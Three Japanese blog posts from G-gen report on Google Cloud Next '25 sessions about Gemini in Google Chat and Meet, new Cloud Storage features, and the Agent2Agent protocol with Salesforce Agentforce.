G-gen の横澤です。本記事は Google Cloud Next '25 in Las Vegas の2日目に行われたブレイクアウトセッション「 Transform team collaboration with Gemini in Google Chat and Meet 」のレポートです。 他の Google Cloud Next '25 の関連記事は Google Cloud Next '25 カテゴリ の記事一覧からご覧いただけます。 セッションの概要 Google Meet Take Notes for Me Studio Effect Capture next steps and assign tasks In-Meeting Gemini Google Chat Gemini in the chat side panel Summaries in home Translate for me Document Summaries Gemini joins the conversation 顧客事例 関連記事 セッションの概要 本セッションでは、Google Workspace で利用できる、Google Meet と Google Chat の Gemini について、最新機能の紹介が行われました。 Google Meet Take Notes for Me すでに Google Workspace で利用できるようになっている最新機能の1つが、 Take Notes for Me です。この機能を使えば、会議の議事録をワンクリックで自動生成し、Google カレンダーの予定に自動で添付されます。 議事録は Google ドキュメントとして保存され、会議で話された内容の要約やアクションアイテムが整理された状態で提供されます。Take Notes for Me は現在、日本語を含む8ヶ国語に対応しています。 Studio Effect ビデオ会議の体験をさらに向上させるのが、 Studio Effect と呼ばれる機能です。バーチャル背景を使用した際の髪の毛の自然な描写や、ネットワーク環境が不安定なときでも明瞭な音声を届ける機能、そして複数人が同じオフィス内でそれぞれのラップトップから参加してもエコーを防ぐ Adaptive Audio など、参加者全員が快適に会議に集中できるよう配慮されています。 Capture next steps and assign tasks 会議中に話された重要なタスクや ToDo を取りこぼさないよう、会議の発言内容を Gemini が自動的に分析し、アクションアイテムとして抽出してくれます（ Capture next steps and assign tasks ）。 ユーザーはワンクリックでそれらを Google タスクに追加することができ、記録と実行のギャップを埋めることができます。 In-Meeting Gemini 今後リリースが予定されている機能として、 In-Meeting Gemini が紹介されました。この機能では、会議中に Gemini に直接質問したり、会議の要約をリアルタイムで取得したりすることが可能になります。 遅れて会議に参加した場合でも、Gemini に質問することで要点をすぐに把握でき、また会話の文脈を踏まえた上での用語解説や発言の背景情報も提供されます。 Google Chat Gemini in the chat side panel 昨年の Next で発表された、Google Chat 内でのサイドパネル機能（ Gemini in the chat side panel ）が利用可能になりました。 Google Chat のサイドパネルにより、チームメンバーとの会話を要約したり、アクションアイテムを取得したり、Web から情報を取得することが可能になります。 Summaries in home Google Chat のホーム画面で、未読の会話だけでなく、すべての会話の概要を要約することが可能になります（ Summaries in home ）。 これにより、Google Chat 内のすべての会話とすべての出来事を画面遷移することなく確認できます。 Translate for me Translate for me 機能では、Google Chat 上で、120以上の言語間でのリアルタイム翻訳機能が提供されます。対応言語が拡張され、さらに7つの言語（スペイン語、ポルトガル語、イタリア語、ドイツ語、フランス語、日本語、韓国語）が追加されました。 ホーム画面での翻訳機能も、今後数ヶ月以内に展開予定です。 Document Summaries Google Chat で共有された Google Workspace ファイルの概要を、ファイルを開かずにサイドパネルで確認することが可能になります（ Document Summaries ）。 確認ができるファイルはアクセス権が付与されているものだけです。 Gemini joins the conversation Google Chat 内で Gemini にメンションすることで、Gemini が会話に加わり、要約やアクションアイテムの整理、過去メッセージの重要情報の確認に役立てることができます（ Gemini joins the conversation ）。 チームごとにチャットスペースを作成している場合などに、チーム全体が Gemini の回答を見て、必要なアクションを取ることが可能になります。 顧客事例 セッションの後半では、Motorola Solutions の Jason Raps 氏が登壇し、実際の導入事例が共有されました。Gemini を早期からパイロット導入し、91％が高いインパクトを感じ、週あたり最大6時間の業務効率化を実現したというデータが紹介されました。特に会議に多く参加する社員が「Take Notes for Me」によって大幅に効率化されたようです。 現在、全従業員2万2千人に Gemini が展開され、わずか60日で67％という高い採用率を達成。チャット空間の数が膨大な中、Gemini がその情報を要約・整理することで、従業員が情報を見逃すことなくキャッチアップできるようになったとのことです。 関連記事 blog.g-gen.co.jp 横澤 綜一 (記事一覧) 事業開発部カスタマーサクセス課 英文学科からITの世界へ。Google Workspace 専任サポートから Google Workspace のカスタマーサクセスへロールが代わり日々奮闘中。週5でジムに通う。

G-gen の道下です。本記事は Google Cloud Next '25 in Las Vegas の 1日目に行われたブレイクアウトセッション「 What’s new with Cloud Storage 」のレポートです。 他の Google Cloud Next '25 の関連記事は Google Cloud Next '25 カテゴリ の記事一覧からご覧いただけます。 セッションの概要 導入 6つの主要なトピック AIとデータレイク Rapid Storage Managed Lustre ストレージインテリジェンス データレイク向け機能 Anywhere Cache ファイルデータ移行 Google Cloud NetApp Volumes Filestore Backup クロージング 関連記事 セッションの概要 本セッションでは、Cloud Storage（GCS）の最新情報として、6つの主要なトピックが紹介されました。 AIとデータレイク ストレージインテリジェンス データレイク向け機能 ファイルデータ移行 Filestore Backup 導入 Cloud Storage は規模、信頼性、耐久性、コスト効率に優れており、あらゆる規模の企業やスタートアップで利用されている一方で、AI の登場以降、ストレージに対する要求（スループット、IOPS、低レイテンシ、並列処理など）が変化していると話しました。 6つの主要なトピック AIとデータレイク AI の成功にはスピードとスケールが重要であるため、Cloud Storage はハイパフォーマンスストレージの機能を強化しているとし、 Rapid Storage と Managed Lustre の2つが紹介されました。 Rapid Storage と Managed Lustre 等については、以下の記事でも紹介されています。 参考 : High performance storage innovations for your AI workloads Rapid Storage Rapid Storage は、低レイテンシ、高スループット、高 QPS を実現するクラウドストレージであり、Colossus ファイルシステムを API として直接利用することができます。 Cloud Storage がリージョンレベルのオブジェクトストレージであるのに対して、Rapid Storage はゾーンレベル（Zonal）のオブジェクトストレージです。 Managed Lustre DDN とのパートナーシップにより、クラウド上で Lustre をマネージドサービスとして提供するサービスで、大規模なデータ分析や AI モデルのトレーニング・推論に最適であると説明されました。 ストレージインテリジェンス ストレージインテリジェンス（Storage Intelligence）とは、データ管理を効率化するためのツールであり、データの理解、コスト管理、セキュリティ対策を支援する機能を備えています。 データレイク向け機能 オープンデータレイクのアーキテクチャ（Cloud Storage + オープンテーブルフォーマット + 各種コンピュートエンジン）が業界標準となっているとし、 Anywhere Cache という機能が取り上げられました。 Anywhere Cache Cloud Storage の Anywhere Cache では、データを SSD バックのローカルキャッシュに配置し、レイテンシ（特にテールレイテンシ）を削減する機能であると説明されました。 またマルチリージョンバケットを使用している場合、Anywhere Cache によりリージョン間転送料金が節約されます。 ファイルデータ移行 データ移行サービスとして、 Google Cloud NetApp Volumes の紹介がありました。 Google Cloud NetApp Volumes NetApp との連携によって、オンプレミスからクラウドへのファイルデータ移行を容易にするサービスであると説明されました。 Filestore Filestore は、Google Cloud ネイティブのファイルシステムであり、 GKE や Compute Engine と統合することや、パフォーマンスと容量を個別にカスタマイズ可能であること、IOPS を4,000から750,000まで選択できることから、TCO を最適化できるサービスであると説明されました。 Backup Google Cloud 上の様々なワークロード（Compute Engine、VMware、Cloud SQL など）に対するバックアップを統合的に管理するために、どのようにサービスを組み合わせればよいかが解説されました。 ランサムウェア対策として、バックアップデータのイミュータビリティ（変更不可）を保証することが重要であると述べられました。 クロージング 「Cloud Storage は、ハイパフォーマンスストレージ、AI を活用したエージェント化、インフラストラクチャのモダナイゼーションを引き続き推進していく。AIや分析ワークロード、データ移行、バックアップなど、様々なニーズに対応するストレージオプションを提供していく。」と語り、セッションを締めくくりました。 関連記事 blog.g-gen.co.jp 道下 千晃 (記事一覧) クラウドソリューション部 大阪府在住。Google Cloud Certification 全11冠 Google Cloud にはいろいろなサービス、プロダクトがあって楽しいですね。 趣味はテニス、オンラインゲーム（世界を救ったり、魚を釣ったり、武器防具を作ったり） Follow @Chiaki_Michi

G-gen の奥田です。本記事は Google Cloud Next '25 in Las Vegas の2日目に行われたブレイクアウトセッション「 Humans and AI agents together—driving success with Salesforce and Google Cloud 」のレポートです。 他の Google Cloud Next '25 の関連記事は Google Cloud Next '25 カテゴリ の記事一覧からご覧いただけます。 セッションの概要 サービス紹介 Agent2Agent Protocol（A2A） Salesforce Agentforce マルチエージェントを実現する秘訣 Agent2Agent（A2A）相互運用プロトコルの主要な構成要素 A2A で接続したマルチエージェントのデモ 関連記事 セッションの概要 本セッションでは、 Google Cloud の1日目のキーノートで発表された Agent2Agent Protocol （A2A）を利用し、 Salesforce 社の Agentforce とをはじめとする他エージェントとのマルチエージェントを実現させるための秘訣の共有およびサンプルデモが行われました。 サービス紹介 Agent2Agent Protocol（A2A） Agent2Agent Protocol （A2A）とは、Google Cloud Next 1日目のキーノートで発表された、 AI エージェント同士が通信 するための オープンなプロトコル です。 参考 : Agent2Agent Protocol（A2A）- Google Cloud Next '25 速報レポート - キーノート（1日目） Salesforce Agentforce Salesforce Agentforce とは、 Salesforce が提供するエージェントサービス です。 Salesforce は Google Cloud と強力なパートナシップを組んで開発をしており、Gemini を採用してます。 参考 : Salesforce and Google Bring Gemini to Agentforce, Enable More Customer Choice in Major Partnership Expansion マルチエージェントを実現する秘訣 まず、マルチエージェントを利用することで発生する力について紹介されました。 1. パフォーマンス向上 複数の専門的なエージェントを使うことで、1つのエージェントよりも高い能力を発揮できます。 2. レジリエンス（回復力）と障害耐性の向上 システム全体の回復力や耐障害性が向上します。 3. モジュール性と拡張性 エージェントの追加・交換・修正・テストが容易になります。 Agent2Agent（A2A）相互運用プロトコルの主要な構成要素 Agent2Agent（A2A）相互運用プロトコルの主要な構成要素について、Salesforce の PM が考えた7つの基本的な概念が紹介されました。 人間が名刺を持っているように、エージェントにも標準化されたマニフェストやカードが必要です。下記の要素等で識別する標準が必要です。 エージェント ID エージェントの能力 エージェントの専門分野（例：ヘルスケア）など これらのエージェントが集約される 中央集権的な場所 （ Agent Registry ）が必要です。 様々な能力を持つエージェントが登録され、そこから必要なエージェントを発見・選択できるようにします。 エージェント間の ID 識別情報を共有するための概念が必要になります。 複数のエージェント間でのコンテキスト共有（Context Sharing）を管理します。 コンテキスト共有とは、複数の AI エージェントが協力してタスクを進める際に、そのタスクに関する背景情報や、それまでのやり取りの履歴、現在の状況といった「文脈（Context）」を互いに伝え合うことを指します。 人間が音声で情報を入力して、音声エージェントが音声で応答した後、画像分析ができるエージェントと通信する必要がある場合などには、エージェントが マルチモーダルをサポート している必要があります。 ガードレイル （Guardrails）とは品質などの制限や基準のことです。特に金融サービス、ヘルスケア、保険などの規制の厳しい業界で重要です。 これらのインタラクションには多くの制約があり、ログで何が起こったかを確認する必要があります。コンプライアンスのユースケースも同様です。また、パフォーマンスや SLA（Service Level Agreement）の基準を満たすことも重要です。 人間の監視が必要 です。エージェントが対話し、通信しているとき、もちろんオブザーバビリティや監査証跡の概念はありますが、エージェントが特定の状況を交渉または解決できない場合が人間へのエスカレーションパスが必要です。 A2A で接続したマルチエージェントのデモ スマートウォッチを販売する会社の EC サイトに設置されたチャットボットのデモが行われました。 このデモでは、Salesforce Agentforce と Vertex AI Agent Builder によるマルチエージェント構成が取られていました。Agent2Agent プロトコルにより、エージェント同士の相互連携が実現できます。 関連記事 blog.g-gen.co.jp Risa (記事一覧) クラウドソリューション部クラウドデベロッパー課 Google Cloudの可能性に惹かれ、2024年4月G-genにジョイン。 Google Cloud Partner Top Engineer 2025 Google Cloud 11 資格保有。日々修行中です！ Follow @risa_hochiminh